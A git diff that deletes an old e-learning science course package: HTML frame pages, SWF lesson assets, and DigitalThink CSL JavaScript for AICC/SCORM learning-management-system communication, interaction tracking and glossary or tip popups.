deleted file mode 100755
index bcbaabf..0000000
--- a/Explore/elr/Science/S0502/module/module1_controller.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<html>
-<head>
-<script language='javascript' src='../shared/scripts/csl_scofunctions.js'></script>
-<script language='javascript' src='../shared/scripts/csl_navigation.js'></script>
-<script language='javascript' src='../shared/scripts/csl_extensions.js'></script>
-<script language='javascript' src='../shared/scripts/csl_randomassmt.js'></script>
-<script language='javascript' src='../shared/scripts/csl_utils.js'></script>
-<script language='javascript'>
-	addPage("0","module1.htm");
-	var contentFrame = parent.frames.content;
-	setContentFrame(contentFrame);
-	loadPage();
-</script>
-</head>
-<body onunload="unloadPage()" >
-
-</body>
-</html>
diff --git a/Explore/elr/Science/S0502/module/module1_home.html b/Explore/elr/Science/S0502/module/module1_home.html
deleted file mode 100755
index 3661ef8..0000000
--- a/Explore/elr/Science/S0502/module/module1_home.html
+++ /dev/null
@@ -1,7 +0,0 @@
-<HTML>
-	<head><title></title></head>
-	<frameset rows="*,100%" >
-		<frame name="controller" scrolling="no"   src="module1_controller.html"  noresize frameborder="0" border="0" framespacing="0">
-		<frame name="content" src="blank.html"  noresize frameborder="0" border="0" framespacing="0">
-	</frameset>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/module/swf/L5-01/1_title.swf b/Explore/elr/Science/S0502/module/swf/L5-01/1_title.swf
deleted file mode 100755
index 30eea4c..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-01/1_title.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/swf/L5-02/2_menu.swf b/Explore/elr/Science/S0502/module/swf/L5-02/2_menu.swf
deleted file mode 100755
index c2ea769..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-02/2_menu.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/swf/L5-03/l1_menu.swf b/Explore/elr/Science/S0502/module/swf/L5-03/l1_menu.swf
deleted file mode 100755
index 8088bc4..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-03/l1_menu.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/swf/L5-04/l2_menu.swf b/Explore/elr/Science/S0502/module/swf/L5-04/l2_menu.swf
deleted file mode 100755
index 8ade9f8..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-04/l2_menu.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/swf/L5-05/l2_bathroom.swf b/Explore/elr/Science/S0502/module/swf/L5-05/l2_bathroom.swf
deleted file mode 100755
index 9d512df..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-05/l2_bathroom.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/swf/L5-06/l2_kitchen.swf b/Explore/elr/Science/S0502/module/swf/L5-06/l2_kitchen.swf
deleted file mode 100755
index 5cbf56a..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-06/l2_kitchen.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/swf/L5-07/certificate.swf b/Explore/elr/Science/S0502/module/swf/L5-07/certificate.swf
deleted file mode 100755
index 59bc8ea..0000000
--- a/Explore/elr/Science/S0502/module/swf/L5-07/certificate.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/presentation.properties b/Explore/elr/Science/S0502/presentation.properties
deleted file mode 100755
index a08c60d..0000000
--- a/Explore/elr/Science/S0502/presentation.properties
+++ /dev/null
@@ -1,2 +0,0 @@
-dt.presentation.course.type=third_party_lms
-dt.presentation.thirdpartylms.scowindow.features=fullscreen=yes
diff --git a/Explore/elr/Science/S0502/shared/images/back.gif b/Explore/elr/Science/S0502/shared/images/back.gif
deleted file mode 100755
index b1e83d9..0000000
--- a/Explore/elr/Science/S0502/shared/images/back.gif
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/shared/images/forward.gif b/Explore/elr/Science/S0502/shared/images/forward.gif
deleted file mode 100755
index 6c42c32..0000000
--- a/Explore/elr/Science/S0502/shared/images/forward.gif
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/shared/scripts/aicc.jar b/Explore/elr/Science/S0502/shared/scripts/aicc.jar
deleted file mode 100755
index 19462a9..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/aicc.jar
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_aiccadapter.js b/Explore/elr/Science/S0502/shared/scripts/csl_aiccadapter.js
deleted file mode 100755
index 100b5fc..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_aiccadapter.js
+++ /dev/null
@@ -1,714 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
-
-//
-//	The following variable is used to specify whether to use the aiccconnector.jsp to connect to the LMS or not. 
-//	The aiccconnector.jsp should be used inside the same folder as the javascript files. This is required because
-//	of the domain restrictions when the content is deployed in a different server than the LMS.
-//
-
-var jspUsed = false;
-
-
-var AICCurl = "";
-var AICCsid = "";
-var AICCver = "";
-
-var LMSEnabled = false;
-var aicc_controllerFrame;
-var aicc_controllerFrame_loc;;
-
-var CoreGroup;
-var ObjectiveStatus;
-var AICCCoreLesson = "";
-var isInitialized = false;
-
-var timeout = false;
-var timeoutInMilliSeconds = 3000;
-
-var errorMessage = "";
-var errorCode = "";
-
-
-
-
-// ****************************************************************************************
-//	Private functions, to be used only inside this document.
-// ****************************************************************************************/
-
-var agt=navigator.userAgent.toLowerCase();
-
-    // *** BROWSER VERSION ***
-    
-    var is_major = parseInt(navigator.appVersion);
-    var is_minor = parseFloat(navigator.appVersion);
-
-    var is_nav  = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1)
-                && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1)
-                && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
-    var is_nav4up = (is_nav && (is_major >= 4));
-    
-    var is_nav6 = (is_nav && (is_major == 5));
-    var is_nav6up = (is_nav && (is_major >= 5));
-    
-
-
-    var is_ie     = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));    
-    var is_ie4up  = (is_ie && (is_major >= 4));
-
-
-//
-//	Constructor for object AICCCoreGroup
-//
-//
-
-function AICCCoreGroup(){
-	this.studentId = '';
-	this.studentName = '';
-	this.credit = '';
-	this.lessonLocation = '';
-	this.lessonStatus = '';
-	this.score = '';
-	this.time = '';
-	this.toString = CoreGroup_toString;
-	this.fromString = CoreGroup_fromString;
-	this.isValid = false;
-}
-
-
-
-//
-//	Constructor for AICCCoreVendor. Currently not implemented.
-//
-//
-function AICCCoreVendor(){
-}
-
-
-function AICCObjectiveStatus(){
-
-	this.objectiveID = '';
-	this.score = '';
-	this.status = '';
-
-	this.toString = ObjectiveStatus_toString;
-	this.fromString = ObjectiveStatus_fromString;
-}
-
-
-function CoreGroup_toString(){
-	var tString = "";
-	tString += "student_id=" + this.studentId + "\n";
-	tString += "student_name=" + this.studentName + "\n";
-	tString += "lesson_location=" + this.lessonLocation + "\n";
-	tString += "credit=" + this.credit + "\n"; 
-	tString += "lesson_status=" + this.lessonStatus + "\n";
-	tString += "score=" + this.score + "\n";
-	tString += "time=" + this.time + "\n";
-
-	return tString;
-}
-
-
-
-
-
-function CoreGroup_fromString(aiccdata){
-
-	var index;
-	var nextGroupIndex; 
-	var groupString;
-	var nextIndex;
-	
-	var value	=	"";
-	var spaceCharRemover	=	new RegExp();
-	spaceCharRemover.compile("([^\n\r\t\f\v]+)");
-	
-	
-	regExp.compile("error=(.+)");
-			
-	if(regExp.test(aiccdata)){
-		value = RegExp.$1 ;
-		if(spaceCharRemover.test(value)) value = RegExp.$1;
-		error	=	parseInt(value);
-	}	
-	else error	=	-1;
-	
-	
-	if( error == 0 ){
-		this.isValid = true;
-	}
-	else{
-		errorCode = "301";
-		errorMessage = aiccdata;
-	}
-	
-	index = aiccdata.indexOf("[core]");
-	if( index != -1 ){ 
-		index += 6;
-		nextGroupIndex = getNextGroupIndex(aiccdata,index);
-		groupString = aiccdata.substring( index, nextGroupIndex-1 );
-	}
-	
-	
-	if( groupString ){
-				
-
-
-		regExp.compile("student_id=(.+)");		
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.studentId	=	value;
-		}		
-
-		else this.studentId	=	"";
-
-
-
-		regExp.compile("student_name=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.studentName	=	value;
-		}
-		else this.studentName	=	"";
-
-
-		regExp.compile("lesson_location=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.lessonLocation	=	value;
-		}
-		else this.lessonLocation	=	"";
-
-
-		regExp.compile("credit=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.credit	=	value;
-		}
-		else this.credit	=	"";
-
-		regExp.compile("lesson_status=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.lessonStatus	=	value;
-		}
-		else this.lessonStatus	=	"";
-
-		regExp.compile("score=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.score	=	value;
-		}
-		else this.score	=	"0";		
-
-		regExp.compile("time=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.time	=	value;
-		}
-		else this.time	=	"00:00:00";
-	}
-}
-
-
-
-function ObjectiveStatus_toString(){
-	var tString = "";
-	tString += "j_id=" + this.objectiveID + "\n";
-	tString += "j_score=" + this.score+ "\n";
-	tString += "j_status=" + this.status+ "\n";
-
-	return tString;
-}
-
-
-function ObjectiveStatus_fromString(aiccdata){
-
-	var index = aiccdata.indexOf("[objectives_status]") + 19;
-	var nextGroupIndex = getNextGroupIndex(aiccdata,index);
-	var groupString = aiccdata.substring( index, nextGroupIndex-1 );
-
-	index = aiccdata.indexOf("j_id");
-	if( index != -1 ){
-		nextIndex = getNextIndex(aiccdata, index+5 );
-		this.objectiveID = aiccdata.substring(index, nextIndex );
-	}
-
-	index = aiccdata.indexOf("j_score") ;
-	if( index != -1 ){
-		nextIndex = getNextIndex(aiccdata, index+8 );
-		this.score = aiccdata.substring(index, nextIndex );
-	}
-
-	index = aiccdata.indexOf("j_status") ;
-	if( index != -1 ){
-		nextIndex = getNextIndex(aiccdata, index+9 );
-		this.status = aiccdata.substring(index, nextIndex );
-	}
-}
-
-
-
-function AICCCoreLesson(){
-	this.fromString = CoreLesson_fromString;
-}
-
-
-
-function CoreLesson_toString(){
-
-}
-
-
-
-function parseCoreLessonString(aiccdata){
-	var index = aiccdata.indexOf("[core_lesson]");
-	if( index != -1 ){
-		index = index + 13;
-		var nextGroupIndex = getNextGroupIndex(aiccdata,index);
-		var groupString = aiccdata.substring( index, nextGroupIndex-1 );
-		AICCCoreLesson = groupString;
-	}
-	else{
-		AICCCoreLesson = "";	
-	}
-}
-
-
-function getNextIndex(data, fromIndex ){
-	var nextIndex;
-	nextIndex = data.indexOf("\n",fromIndex);
-	nextIndex--;
-    if(nextIndex <= -1){
-		nextIndex = data.length;
-	}
-    return nextIndex;
-}
-
-function getNextGroupIndex(data,fromIndex) {
-	var nextIndex = data.indexOf("[",fromIndex);
-        if(nextIndex == -1){
-		nextIndex = data.length;
-	}
-        return nextIndex+1;
-}
-
-
-
-function parseQueryString(url){
-	AICCurl = getParamValue("aicc_url",url);
-	AICCsid = getParamValue("aicc_sid",url);
-
-	AICCsid = unescape(AICCsid);
-
-	if( AICCurl ){
-		if( AICCurl != "" ){
-			AICCurl = unescape(AICCurl);
-			if( AICCurl.indexOf("http") == -1 && AICCurl.indexOf("https") == -1 ){
-				AICCurl = location.protocol + "//" + AICCurl;
-			}			
-			LMSEnabled = true;
-		}
-	}
-
-}
-
-function loadAICCResponse(){
-	var tempURL = "";
-	if( LMSEnabled ){
-		if( jspUsed ){
-			tempURL = "aiccconnector.jsp?session_id=" + AICCsid + "&aicc_url=" + AICCurl;
-		}
-		else{
-			tempURL = AICCurl + "?command=getparam&session_id=" + AICCsid;
-		}
-	}
-	
-	if( ( document.all || is_nav6 || is_nav6up) && LMSEnabled ){
-	
-			parent.aiccresponse.location.href= tempURL;
-	
-	}
-}
-
-function getAICCData(){
-
-	var tDataString = "";
-	if( document.all ){
-		if( parent.aiccresponse ){
-			tDataString = parent.aiccresponse.document.body.innerText;
-		}
-	}
-	else{
-		
-		if(( is_nav6 || is_nav6up ) && parent.aiccresponse.document.body){ 	
-
-			var tNode	=	searchForTextNode(parent.aiccresponse.document.body);
-
-			if(tNode != null ) tDataString = "" + tNode.nodeValue;					
-			else tDataString	=	"";
-			
-		}					
-		else if( parent.aiccloader.document.applets['aiccapplet'] ){
-
-			parent.aiccloader.document.applets['aiccapplet'].setAICCURL(AICCurl);
-
-			parent.aiccloader.document.applets['aiccapplet'].setAICCSession(AICCsid);
-
-			tDataString = "" + parent.aiccloader.document.applets['aiccapplet'].getAICCData();
-
-		}
-	}
-	
-	CoreGroup = new AICCCoreGroup();
-	CoreGroup.fromString( tDataString );
-	ObjectiveStatus	= new AICCObjectiveStatus();
-	ObjectiveStatus.fromString( tDataString );
-
-	parseCoreLessonString( tDataString );
-	if( isAdapterLoaded() ){
-		isInitialized = true;
-		return "true";
-	}
-	else{
-		return "false";
-	}	
-}
-
-
-
-function getParamValue( paramname , querystring ){
-
-	var start = querystring.indexOf(paramname);
-	var tString = querystring.substring(start,querystring.length );
-
-	var end = tString.indexOf("&");
-	if( tString.indexOf("&") == -1 ){
-		end = tString.length;
-	}
-
-	tString = tString.substring( tString.indexOf(paramname), end  );
-	var paramValue = tString.substring( tString.indexOf("=") +1 , tString.length );
-
-	return paramValue;
-}
-
-
-function isAdapterLoaded(){
-	if( CoreGroup ){
-		if( CoreGroup.isValid == true ){
-			return true;
-		}
-		else{
-			return false;
-		}
-	}
-	else{
-		return false;
-	}
-}
-
-
-function holdOnFewSeconds(){
-	for(i=0; i < 10000; i++){
-		
-	}	
-}
-
-
-
-//
-//	The following functions are the AICC equivalent of the SCORM standard calls.
-//
-
-var tAttempts = 0;
-var isLoading = true;
-var iTotalAttempts = 30;
-
-function setControllerFrame(pFrame, pLoc ){
-	aicc_controllerFrame = pFrame;
-	aicc_controllerFrame_loc = pLoc;
-}
-
-
-function lookForContentChange(){
-	tAttempts++;
-	if( tAttempts < iTotalAttempts ){
-		if( document.all ){
-			var tString = "";
-			if( parent.aiccresponse.document.body && parent.aiccresponse.document.body.innerText)
-				tString = parent.aiccresponse.document.body.innerText ;
-				
-			if( tString.length > 0 ){
-				aicc_controllerFrame.location.href = aicc_controllerFrame_loc;	
-				isLoading = false;
-			}
-			else{
-				setTimeout('lookForContentChange()',500);
-			}
-		}
-		else if(is_nav6 || is_nav6up){
-					var tString	=	"";
-					
-					var tNode	=	searchForTextNode(parent.aiccresponse.document.body);
-					if(tNode && tNode.nodeValue) tString 	= 	tNode.nodeValue;
-					
-					
-					if( tString.length > 0 ){
-					
-						aicc_controllerFrame.location.href = aicc_controllerFrame_loc;	
-		
-						isLoading = false;			
-					
-					}
-			
-					else{
-					
-						setTimeout('lookForContentChange()',500);
-					
-					}
-				
-		}
-		else{
-			if(document.applets['aiccapplet'] ){
-				aicc_controllerFrame.location.href = aicc_controllerFrame_loc;
-				isLoading = false;				
-			}
-			else{
-				setTimeout('lookForContentChange()',500);				
-			}				
-		}
-	}
-	else{
-		isLoading = false;
-		alert("Unable to connect to the AICC LMS. Connection timed out.");
-	}
-}
-
-
-
-function initAICCAdapter(){
-	if( isInitialized ){
-		return "";
-	}
-	getAICCData();
-	return true;
-}
-
-
-function finishAICCAdapter(){
-
-	tAICCData = "error=0\nerror_text=Successful\nversion=2.0\naicc_data=\n[core]\n";
-	tAICCData += CoreGroup + "\n[core_lesson]\n";
-	tAICCData += AICCCoreLesson + "\n[core_vendor]\n\n[objectives_status]\n";
-	if( ObjectiveStatus ){
-		tAICCData += ObjectiveStatus.toString();
-	}
-
-	if( isAdapterLoaded() ){
-		//tempAICCurl = location.protocol + "//" + AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";
-		tempAICCurl = AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";		
-		var tForm = parent.frames['aiccloader'].document.forms['aicc'];
-		tForm.action = tempAICCurl;
-		tForm.session_id.value = AICCsid;
-		tForm.aicc_data.value = tAICCData;
-		tForm.submit();	
-		return "true";
-	}
-	else{
-		return "false";
-	}
-	
-}
-
-
-function getLastErrorFromAICC(){
-	return errorCode;
-}
-
-function getErrorStringFromAICC(){
-	return errorMessage;
-}
-
-function getDiagnosticFromAICC(){
-	return "";
-}
-
-
-function setValueToAICC(pName, pValue){
-	
-	if( !isAdapterLoaded()){
-		alert("The LMS adapter is not initialized. Can't set the value");
-		return "false";
-	}
-	if( pName == "cmi.core.lesson_location" ){
-		CoreGroup.lessonLocation = pValue;
-	}
-	else if( pName == "cmi.core.lesson_status" ){
-		CoreGroup.lessonStatus = pValue;
-	}
-	else if( pName == "cmi.core.score.raw" ){
-		CoreGroup.score = pValue;
-	}
-	else if( pName == "cmi.suspend_data" ){
-		AICCCoreLesson = pValue;
-	}
-	else if( pName == "cmi.core.total_time" ){
-		CoreGroup.time = pValue;
-	}	
-	else{
-		if( errorCode != "301" ){
-			//errorCode = "401";
-			//errorMessage = "The requested Data Model is not supported or read only";
-		}
-		return "false";
-	}
-	return "true";
-}
-
-
-function getValueFromAICC(pName){
-
-	if( !isAdapterLoaded()){
-		alert("The LMS adapter is not initialized. Can't get the value");
-		return;
-	}
-	if( pName == "cmi.core.lesson_location" ){
-		return CoreGroup.lessonLocation;
-	}
-	else if( pName == "cmi.core.lesson_status" ){
-		return 	CoreGroup.lessonStatus;
-	}
-	else if( pName == "cmi.core.score.raw" ){
-		return CoreGroup.score;
-	}
-	else if( pName == "cmi.suspend_data" ){
-		return AICCCoreLesson;
-	}
-	else if( pName == "cmi.core.total_time" ){
-		return CoreGroup.time;
-	}
-	else if( pName == "cmi.core.student_id" ){
-		return CoreGroup.studentId;	
-	}
-	else if( pName == "cmi.core.student_name" ){
-		return CoreGroup.studentName;	
-	}
-	else if( pName == "cmi.core.credit" ){
-		return CoreGroup.credit;
-	}
-	else{
-		if( errorCode != "301" ){
-			//errorCode = "401";
-			//errorMessage = "The requested Data Model is not supported or read only";
-		}
-		return "";
-	}
-	return "";
-}
-
-
-function commitAICCAdapter(){
-	
-	tAICCData = "error=0\nerror_text=Successful\nversion=2.0\naicc_data=\n[core]\n";
-	tAICCData += CoreGroup + "\n[core_lesson]\n";
-	tAICCData += AICCCoreLesson + "\n[core_vendor]\n\n[objectives_status]\n";
-	if( ObjectiveStatus ){
-		tAICCData += ObjectiveStatus.toString();
-	}
-
-	if( isAdapterLoaded() ){
-		//tempAICCurl = location.protocol + "//" + AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";
-		tempAICCurl = AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";		
-		var tForm = parent.frames['aiccDataCommiter'].document.forms['aicc'];
-		tForm.action = tempAICCurl;
-		tForm.session_id.value = AICCsid;
-		tForm.aicc_data.value = tAICCData;
-		tForm.submit();
-		setTimeout("changeAiccDataCommiterLocation()" , 5000);
-		return "true";
-	}
-	else{
-		return "false";
-	}
-}
-
-function changeAiccDataCommiterLocation(){
-	parent.frames['aiccDataCommiter'].document.location.href = "aiccDataCommiter.html" ;
-}
-
-
-function AICCDataModel(){
-	this.LMSInitialize = initAICCAdapter;
-	this.LMSFinish = finishAICCAdapter;
-	this.LMSCommit = commitAICCAdapter;
-	this.LMSGetValue = getValueFromAICC;
-	this.LMSSetValue = setValueToAICC;
-	this.LMSGetLastError = getLastErrorFromAICC;
-	this.LMSGetErrorString = getErrorStringFromAICC;
-	this.LMSGetDiagnostic = getDiagnosticFromAICC;
-}
-
-// breadth first search for a text node.
-function searchForTextNode(pNode){
-	
-	pNode.normalize();	// remove unnecessary text nodes.
-	var nodeToReturn=	null;
-	
-	var childNodes	=	pNode.childNodes;
-	var number	=	childNodes.length;
-	var counter	=	0;
-	var childNode	=	null;
-	
-	while( counter < number ){
-		childNode=	childNodes[counter];
-		
-		if(childNode.nodeType == 3){
-			nodeToReturn	=	childNode;
-			break;
-		}
-		
-		counter++;
-	}
-	
-	
-	if(nodeToReturn == null){
-		counter	=	0;
-		
-		while( counter < number ){
-			childNode=	childNodes[counter];
-
-			nodeToReturn	=	searchForTextNode(childNode);
-
-			if(nodeToReturn != null) break;
-
-			counter++;
-		}
-	}
-	
-	
-	return nodeToReturn;
-}
-
-
-var regExp	=	new RegExp();
-
-var aiccapi;
-
-parseQueryString(top.location.search);
-
-if( AICCurl.length > 0 ){
-	aiccapi = new AICCDataModel();
-}
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_cmiinteractions.js b/Explore/elr/Science/S0502/shared/scripts/csl_cmiinteractions.js
deleted file mode 100755
index 62d90a1..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_cmiinteractions.js
+++ /dev/null
@@ -1,191 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
-
-function CMIContainer()
-{	
-	this.ID					=	"CMIContainer";
-	this.interactions			=	new Array();
-	
-	this.addInteraction			=	_addInteraction;
-	
-	this.saveInteractions			=	_saveInteractions;
-	this.name				=	"cmi.interactions";
-}
-
-
-function _addInteraction(pInteractionObject)
-{
-	this.interactions[this.interactions.length]	=	pInteractionObject;
-}
-
-
-function _saveInteractions()
-{
-	var interaction	=	null;
-	
-	//var  communicationsFrame	=	communicationsFrame;
-	if(!communicationsFrame){
-		communicationsFrame  	=	self;
-	}
-	var counter			=	0;
-	var size			=	this.interactions.length;
-	var name			=	"cmi.interactions.";
-	
-	var dmName			=	"";
-	while(counter < size)
-	{
-		interaction		=	this.interactions[counter];
-		dmName			=	name + counter;
-		
-		communicationsFrame.setValue(dmName + ".id" , interaction.id);
-		communicationsFrame.setValue(dmName + ".type" , interaction.type);
-		communicationsFrame.setValue(dmName + ".time" , interaction.time);
-		communicationsFrame.setValue(dmName + ".weighting" , interaction.weighting);
-		communicationsFrame.setValue(dmName + ".student_response" , interaction.student_response);
-		communicationsFrame.setValue(dmName + ".correct_responses.0.pattern" , interaction.correct_response);
-		communicationsFrame.setValue(dmName + ".latency" , interaction.latency);
-		communicationsFrame.setValue(dmName + ".result" , interaction.result);
-		
-		counter++;
-	}
-	
-		
-	
-}
-
-function CMIInteraction(pID)
-{
-	this.id					=	pID;
-	this.type				=	"";
-	this.time				=	"00:00:00";
-	this.weighting				=	"0";
-	this.student_response			=	"";
-	this.correct_response			=	"";	// supports only one correct response pattern
-	this.latency				=	"00:00:00";
-	this.result				=	"";	
-	
-	this.setType				=	_setType;
-	this.getType				=	_getType;
-	
-	this.setTime				=	_setTime;
-	this.getTime				=	_getTime;
-	
-	this.setWeight				=	_setWeight;
-	this.getWeight				=	_getWeight;
-	
-	this.setStudentResponse			=	_setStudentResponse;
-	this.getStudentResponse			=	_getStudentResponse;
-	
-	this.setCorrectResponse			=	_setCorrectResponse;
-	this.getCorrectResponse			=	_getCorrectResponse;
-	
-	this.setLatency				=	_setLatency;
-	this.getLatency				=	_getLatency;
-	
-	this.setResult				=	_setResult;
-	this.getResult				=	_getResult;
-	
-	
-}
-
- 
-
-function _setType(pValue){
-	this.type	=	pValue;
-}
-
- 
-
-function _getType(){
-	return this.type;
-}
-
- 
-
-function _setTime(pValue){
-	this.time	=	pValue;
-}
- 
-
-function _getTime(){
-	return this.time;
-}
-
- 
-
-function _setWeight(pValue){
-	this.weight	=	pValue;
-}
-
- 
-function _getWeight(){
-	return this.weight;
-}
-
-
- 
-function _setStudentResponse(pValue){
-	this.student_response	=	pValue;
-}
-
- 
-function _getStudentResponse(){
-	return this.student_response;
-}
-
- 
-function _setCorrectResponse(pValue){
-	this.correct_response	=	pValue;
-}
- 
-function _getCorrectResponse(){
-	return this.correct_response;
-}
- 
-function _setLatency(pValue){
-	this.latency	=	pValue;
-}
- 
-function _getLatency(){
-	return this.latency;
-}
- 
-function _setResult(pValue){
-	this.result	=	pValue;
-}
-
-function _getResult(){
-	return this.result;
-}
-
-var communicationsFrame	=	null;
-var cmiContainer	=	new CMIContainer();
-
- 
-
-
-function setCommunicationsFrame(pWindow){
-	communicationsFrame = pWindow;
-}
-
- 
-
-function getInteraction(pId){
-	return new CMIInteraction(pId);
-}
-
- 
-
-function addInteraction(pInteraction){
-	cmiContainer.addInteraction(pInteraction);
-}
-
- 
-
-function saveInteractions(){
-	cmiContainer.saveInteractions();
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_extensions.js b/Explore/elr/Science/S0502/shared/scripts/csl_extensions.js
deleted file mode 100755
index b62e200..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_extensions.js
+++ /dev/null
@@ -1,468 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
-var opelapi = findOpelPresentationAPI(window);
-
-var iPopup;
-
-var iPopupHead = "<html><head> <title> DigitalThink, Inc. </title></head><body bgcolor='#dddddd'>";
-iPopupHead += "<style type='text/css'> <!--";
-iPopupHead += ".title {  background: #00319C;font: font-size:12px; font-weight: bold; font-family: Arial, Helvetica, sans-serif;color: White;}";
-iPopupHead += ".term {font-family: Verdana, Arial, Helvetica, sans-serif;font-size:12px;	font-weight: bold;	color: #555555;	text-decoration: none;}";
-iPopupHead += ".definition {font-family: Verdana, Arial, Helvetica, sans-serif;	font-size:12px;	font-weight: normal;color: #555555;text-decoration: none;}";
-iPopupHead += "--></style> </head>";
-
-
-
-
-
-function showGlossary(pTerm,pDefn){
-	if(pDefn){
-		if( opelapi ){
-			opelapi.showGlossary(pTerm,pDefn);
-		}
-		else{
-			var tString = iPopupHead;
-			tString += "<table> <TR >   <TD  class='title'>  Glossary </TD></TR>  ";
-			tString += "<TR><TD class='term'>" + pTerm +" </TD></TR>  ";
-			tString += "<TR><TD class='definition'>" + pDefn +" </TD></TR>  ";		
-			tString += "<TR><td class='definition'>&nbsp;</td></TR>  ";				
-			tString += "</TABLE> <hr style='color: #00009C;'> </body></html>";
-			writeToPopup(tString);
-			//alert("Show in Pop Up");
-		}
-	}else{
-		if( opelapi ){
-			var definition	=	getDefinition(pTerm);
-			opelapi.showGlossary(pTerm,definition);
-		}
-		else{
-			var tString = iPopupHead;
-			tString += "<table> <TR >   <TD  class='title'>  Glossary </TD></TR>  ";
-			tString += "<TR><TD class='term'>" + pTerm +" </TD></TR>  ";
-			tString += "<TR><TD class='definition'>" + definition +" </TD></TR>  ";		
-			tString += "<TR><td class='definition'>&nbsp;</td></TR>  ";				
-			tString += "</TABLE> <hr style='color: #00009C;'> </body></html>";
-			writeToPopup(tString);
-			//alert("Show in Pop Up");
-		}
-	}	
-}
-
-
-
-
-function showTip(pTip){
-	if( opelapi ){
-		opelapi.showTip(pTip);
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Tips </TD></TR>  ";
-  		tString += "<TR><td class='definition'>" + pTip +" </td></TR>  ";
-  		tString += "<TR><td class='definition'>&nbsp;</td></TR>  ";		
-		tString += "</TABLE>  <hr style='color: #00009C;'></body></html>";
-		writeToPopup(tString);	
-	}
-}
-
-
-
-
-function showResources(){
-	if( opelapi ){
-		opelapi.showResources();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Not implemented! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is currently being implemented.</td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);	
-	}
-}
-
-
-
-
-function showTutor(){
-	if( opelapi ){
-		opelapi.showTutor();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);	
-	}
-}
-
-
-
-
-function showNotes(){
-	if( opelapi ){
-		opelapi.showNotes();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);
-	}
-}
-
-
-
-
-function showCertificate(){
-	if( opelapi ){
-		opelapi.handleCertificate();
-	}
-}
-
-
-
-function gotoMainMenu(){
-	if( opelapi ){
-		opelapi.gotoMainMenu();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);
-	}	
-}
-
-
-
-
-
-
-function courseMenu(){
-	if( opelapi ){
-		opelapi.gotoMainMenu();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);
-	}	
-}
-
-
-
-
-
-
-function getTermFromGlossary(pTermName){
-	return glossaryObject.getTerm(pTermName);
-}
-
-
